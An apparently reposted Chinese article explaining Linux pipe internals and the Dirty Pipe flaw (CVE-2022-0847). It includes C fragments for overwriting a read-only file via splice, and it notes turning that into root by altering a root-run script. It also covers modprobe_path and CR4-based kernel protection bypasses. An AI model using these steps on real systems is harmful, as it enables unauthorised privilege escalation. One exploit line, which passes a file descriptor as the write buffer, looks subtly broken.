struct pipe_inode_info *alloc_pipe_info(void)
{
    struct pipe_inode_info *pipe;
    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;    // 這個是 16
    struct user_struct *user = get_current_user();
    unsigned long user_bufs;
    unsigned int max_size = READ_ONCE(pipe_max_size);

    pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);

    //...

    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);

pipe鏈接到 inode節(jié)點(diǎn)上
static struct inode * get_pipe_inode(void)
{
    struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
    struct pipe_inode_info *pipe;

    ...

    pipe = alloc_pipe_info();    //創(chuàng)建 pipe
    if (!pipe)
        goto fail_iput;

    inode->i_pipe = pipe;        // pipe 鏈接到 inode節(jié)點(diǎn)上
    
    ...

示意圖:

image

管道的本體是 pipe_inode_info 結(jié)構(gòu)體,其管理 pipe_buffer數(shù)組的方式本質(zhì)上是一個循環(huán)隊(duì)列,其head成員標(biāo)識隊(duì)列頭的idx、tail成員表示隊(duì)列尾的idx,頭進(jìn)尾出.

管道的寫入過程

查表pipefifo_fops可知當(dāng)向管道寫入數(shù)據(jù)時,會調(diào)用到pipe_write函數(shù)。流程如下:

  • 若感到非空且上一個buf未滿,則先嘗試向上一個被寫入的buffer寫入數(shù)據(jù)(若該buffer設(shè)置了PIPE_BUF_FLAG_CAN_MERGE標(biāo)志位)
  • 接下來開始對新的buffer進(jìn)行數(shù)據(jù)寫入,若沒有PIPE_BUF_FLAG_CAN_MERGE標(biāo)志位則分配新頁面后寫入
  • 循環(huán)第二步直到完成寫入,若管道滿了則會嘗試喚醒read讀取讓管道騰出空間。

這里可知 PIPE_BUF_FLAG_CAN_MERGE用以標(biāo)識一個 pipe_buffer是否已經(jīng)分配了可以寫入的空間。在大循環(huán)中若對于 pipe_buffer沒有設(shè)置該 flag(剛被初始化),則會新分配一個頁面供寫入,并設(shè)置該表示位。

管道的讀出過程

查表管道讀出數(shù)據(jù)時調(diào)用 pipe_read,主要是讀取buffer對應(yīng)的page上的數(shù)據(jù),若一個buffer被讀完了則將其出列。

對于一個剛剛建立的管道,其 buffer 數(shù)組其實(shí)并沒有分配對應(yīng)的頁面空間,也沒有設(shè)置標(biāo)志位;在我們向管道內(nèi)寫入數(shù)據(jù)時會通過 buddy system 為對應(yīng) buffer 分配新的頁框,并設(shè)置 PIPE_BUF_FLAG_CAN_MERGE 標(biāo)志位,標(biāo)志該 buffer 可以進(jìn)行寫入;而當(dāng)我們從管道中讀出數(shù)據(jù)之后,縱使一個 buffer 對應(yīng)的 page 上的數(shù)據(jù)被讀完了,我們也不會釋放該 page,而是會直接投入到下一次使用中,因此會保留 PIPE_BUF_FLAG_CAN_MERGE 標(biāo)志位。

寫入時會設(shè)置PIPE_BUF_FLAG_CAN_MERGE 標(biāo)志位。讀出時會保留PIPE_BUF_FLAG_CAN_MERGE 標(biāo)志位。

splice:文件與管道間數(shù)據(jù)拷貝

當(dāng)我們想要將一個文件的數(shù)據(jù)拷貝到另一個文件時,比較樸素的一種想法是打開兩個文件后將源文件數(shù)據(jù)讀入后再寫入目標(biāo)文件,但這樣的做法需要在用戶空間與內(nèi)核空間之間來回進(jìn)行數(shù)據(jù)拷貝,具有可觀的開銷。

因此為了減少這樣的開銷, splice這一個非常獨(dú)特的系統(tǒng)調(diào)用應(yīng)運(yùn)而生,其作用是在文件與管道之間進(jìn)行數(shù)據(jù)拷貝,以此將內(nèi)核空間與用戶空間之間的數(shù)據(jù)拷貝轉(zhuǎn)變?yōu)閮?nèi)核空間內(nèi)的數(shù)據(jù)拷貝,從而避免了數(shù)據(jù)在用戶空間與內(nèi)核空間之間的拷貝造成的開銷。當(dāng)你想要將數(shù)據(jù)從一個文件描述符拷貝到另一個文件描述符中,只需要先創(chuàng)建一個管道,之后使用 splice 系統(tǒng)調(diào)用將數(shù)據(jù)從源文件描述符拷貝到管道中、再使用 splice 系統(tǒng)調(diào)用將數(shù)據(jù)從管道中拷貝到目的文件描述符即可。這樣的設(shè)計使得我們只需要兩次系統(tǒng)調(diào)用便能完成數(shù)據(jù)在不同文件描述符間的拷貝工作,且數(shù)據(jù)的拷貝都在內(nèi)核空間中完成,極大地減少了開銷。

漏洞利用

寫、讀管道,設(shè)置 PIPE_BUF_FLAG_CAN_MERGE flag,將管道寫滿后再將所有數(shù)據(jù)讀出,這樣管道的每一個 pipe_buffer 都會被設(shè)置上 PIPE_BUF_FLAG_CAN_MERGE 標(biāo)志位

pipe(pipe_fd);
    pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
    buffer = (char*) malloc(page_size);
    for (int i = pipe_size; i > 0; )
    {
        if (i > page_size)
            write_size = page_size;
        else
            write_size = i;
        i -= write(pipe_fd[1], buffer, write_size);
    }

    for (int i = pipe_size; i > 0; )
    {
       if(i>page_size)
            read_size = page_size ;
       else
           read_size = i;
        i -= read(pipe_fd[0], buffer, read_size);
    }

調(diào)用splice 函數(shù)建立 pipe_buffer 與文件的關(guān)聯(lián)(漏洞產(chǎn)生點(diǎn))使用 splice 系統(tǒng)調(diào)用將數(shù)據(jù)從文件中讀入到管道,為了讓 pipe_buffer->page 其中一個頁替換為文件內(nèi)存映射頁。

splice(file_fd, &offset_from_file, pipe_fd[1], NULL, 1, 0);

向管道中寫入惡意數(shù)據(jù),完成越權(quán)寫入文件, splice 函數(shù)使內(nèi)核中管道建立完頁面映射后,head指針會指向下一個pipe_buffer,此時我們再向管道中寫入數(shù)據(jù),管道計數(shù)器會發(fā)現(xiàn)上一個 pipe_buffer 沒有寫滿,從而將數(shù)據(jù)拷貝到上一個 pipe_buffer 對應(yīng)的頁面——即文件映射的頁面,由于 PIPE_BUF_FLAG_CAN_MERGE 仍保留著,因此內(nèi)核會誤以為該頁面可以被寫入,從而完成了越權(quán)寫入文件的操作。

write(pipe_fd[1], file_fd, data_size);

漏洞測試效果:

image

flag文件只有讀權(quán)限沒有寫權(quán)限,使用CVE-2022-0847向這個文件寫入內(nèi)容。

image

成功向flag寫入內(nèi)容。在實(shí)現(xiàn)情況中,向有root權(quán)限的腳本中寫入提權(quán)代碼,觸發(fā)執(zhí)行即可獲得root權(quán)限,該方法可減少內(nèi)核函數(shù)地址計算以及安全保護(hù)的繞過。

4.2 kernel5.x版本和kernel4.x版本的不同

在kernel 4.x版本中常用的繞過保護(hù)方式,漏洞利用成功控制PC后跳轉(zhuǎn)到native_write_cr4函數(shù)關(guān)閉SMEP、SMAP保護(hù),使之后部署和執(zhí)行shellcode提權(quán)更為便捷。

image

但是在kernel 5.x版本中native_write_cr4函數(shù)被添加了commit 增加了對CR4寄存器的判斷,如檢測到了修改就還原CR4寄存器的值,不在是之前那種簡單的匯編形式了,像以前一樣簡單調(diào)用函數(shù)關(guān)閉SMEP和SMAP將不在可行。

image

現(xiàn)在較為常用的技術(shù)是利用漏洞修改常量modprobe_path 的字符串地址,

image

modprobe_path是用于在Linux內(nèi)核中添加可加載的內(nèi)核模塊,當(dāng)我們在Linux內(nèi)核中安裝或卸載新模塊時,就會執(zhí)行這個程序。而當(dāng)內(nèi)核運(yùn)行一個錯誤格式的文件(或未知文件類型的文件)的時候,也會調(diào)用這個 modprobe_path所指向的程序。如果我們將這個字符串指向我們自己的sh文件 ,并使用 system或 execve 去執(zhí)行一個未知文件類型的錯誤文件,那么在發(fā)生錯誤的時候就可以執(zhí)行我們自己的二進(jìn)制文件了。同樣的有了新的利用方法也會出現(xiàn)相對應(yīng)的保護(hù)方法。

5 總結(jié)

內(nèi)核保護(hù)和利用是一個長期對抗的過程,出現(xiàn)了新的利用方法相應(yīng)的也會出現(xiàn)新的對抗手段。 安全防護(hù)并不能完全保證內(nèi)核是安全的,一旦有危害性更高的漏洞出現(xiàn),就很容易打破這些保護(hù)使其輕易的獲取系統(tǒng)權(quán)限。安全不能僅僅依靠這些保護(hù)機(jī)制,應(yīng)要時常關(guān)注漏洞報送信息或安全郵件組里討論的安全事件,及時更新安全補(bǔ)丁。

本文作者:alphalab, 轉(zhuǎn)載請注明來自

分享到:
標(biāo)簽:Linux
用戶無頭像

網(wǎng)友整理

注冊時間:

網(wǎng)站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運(yùn)動步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績評定2018-06-03

通用課目體育訓(xùn)練成績評定